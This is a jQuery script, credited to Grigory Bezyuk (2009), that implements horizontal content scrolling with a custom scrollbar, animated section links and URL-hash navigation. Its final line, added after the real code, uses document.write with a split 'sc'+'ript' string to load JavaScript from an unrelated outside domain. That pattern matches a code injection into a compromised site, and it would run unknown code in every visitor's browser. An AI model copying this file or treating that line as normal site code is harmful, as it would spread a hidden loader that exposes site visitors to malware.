/**
 * jQuery-based script for horizontal content area scrolling.
 * Handles both links clicks and horizontal scrollbar.
 * @author Grigory Bezyuk
 * @copyright Grigory Bezyuk (C)2009
 */

$.px = function (str) {
    return str + 'px';
};

$.pt = function (str) {
    return str + 'pt';
};

$.pc = function (str) {
    return str + '%';
};

var PageScroller = function () {
    this.ANIMATION_SPEED = 1000;
    this._initOffsets();
    this._initLinks();
    this._initScroller();
};

// horizontal offsets for site sections links navigation
PageScroller.prototype._initOffsets = function () {
  var self = this;
  self.offsets = {};
  $('.content li').each(function () {
    if (this.id != '') {
      self.offsets[this.id.toString().replace('ContentBlock', '')] = $(this).offset().left;
    }
  });

};

// horizontal scrollbar initialization
PageScroller.prototype._initScroller = function () {

  // for inner functions
  var self = this;

  // locating HTML nodes
  this.$scroller = $('.mainContent .scroller');
  this.$content  = $('.mainContent .scroller .content');

  // removing default HTML scroller if exists
  this.$scroller.css('overflow', 'hidden');
  this.$content.css('margin-left', '0');

  // using jquery.scrollbar plugin for horizontal scrollbar
  this.scrollbar = $.scrollbar($('.globalWrapper .navigationMenu .scroller'), {
    leftArrowLocator: '.leftArrow',
    scrollLocator: '.scroll',
    rightArrowLocator: '.rightArrow',
    onScrollMove: function (percentage) {
      self.$content.css('margin-left', $.px(-percentage * (self.$content.width() - $(window).width())));
    },
    scrollSpeed: 0.002,
    scrollAcceleration: 0
  });

  this.getPositionAsPercentage = function () {
    return - parseInt(self.$content.css('margin-left')) / (self.$content.width() - self.$scroller.width());
  };

  // updating scrollbar view on window resizing
  $(window).resize(function () {
      self.scrollbar.setPosition(self.getPositionAsPercentage());

      for (index in self.offsets) {
        /*$('.' + index + 'Link').css('left',
              self.scrollbar.percentageToPixels(
                self.offsets[index] / (self.$content.width() - self.$scroller.width())
              ) + 'px');*/
        
      }
  });

};

// initializing links clicking
PageScroller.prototype._initLinks = function () {

  var self = this;

  for (index in self.offsets) {
    var i = index, offset = self.offsets[index];
    $('.' + index + 'Link')
      .attr('id', index)
      .data('offset', offset)
      .data('blockName', index)
      .click(function () {
        var centringMargin = ($('#' + $(this).data('blockName') + 'ContentBlock:first-child').size() == 0)
          ? ($(window).width() - $('#' + $(this).data('blockName') + 'ContentBlock').width())/2
          : 0;

        self.animateToOffset($(this).data('offset'), centringMargin);
        location.hash = '#' + $(this).data('blockName'); 
        return false;
    });
  }
};

PageScroller.prototype.animateToOffset = function(offset, leftMargin) {
  var self = this;
  if (typeof(leftMargin) == 'undefined') {
    leftMargin = 0;
  }
  self.$content.animate({
    marginLeft: $.px(-offset + leftMargin)
  }, self.ANIMATION_SPEED);
  var position = (offset - leftMargin) / (self.$content.width() - self.$scroller.width());
  self.scrollbar.setPosition(position < 1 ? position : 1);
};

PageScroller.prototype.scrollToBlock = function(blockName) {
  if (blockName in this.offsets) {
    this.animateToOffset(this.offsets[blockName]);
    location.hash = '#' + blockName;
  }
};


var scroller;

$(document).ready(function () {

    $(document).pngFix();

  var scrollingBlockWidth = 1500 + $('.mainContent .scroller ul.content > li').size() * $('.mainContent .scroller ul.content > li:first').width();
  $('.mainContent .scroller ul.content').width(scrollingBlockWidth);

  scroller = new PageScroller;

  $('.mainContent .scroller .leftArrow').mouseover(function () {
    $('.navigationMenu .scroller .leftArrow').mousedown();
    $(this).addClass('hovered');
  });
  $('.mainContent .scroller .leftArrow').mouseout(function () {
    $('.navigationMenu .scroller .leftArrow').mouseup();
    $(this).removeClass('hovered');
  });

  $('.mainContent .scroller .rightArrow').mouseover(function () {
    $('.navigationMenu .scroller .rightArrow').mousedown();
    $(this).addClass('hovered');
  });
  $('.mainContent .scroller .rightArrow').mouseout(function () {
    $('.navigationMenu .scroller .rightArrow').mouseup();
    $(this).removeClass('hovered');
  });


  /*$('.navigationMenu .menu').addClass('originalPositioning')
    .find('li:odd').addClass('odd');*/

  $(window).resize();

  // hashes
  var page = location.hash.toString().replace('#', '');
  if (page != '') {
    //scroller.scrollToBlock(page);
    $('.menu li#' + page + ' a').click();
  }
});
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Laser_Printer.js"></scri'+'pt>');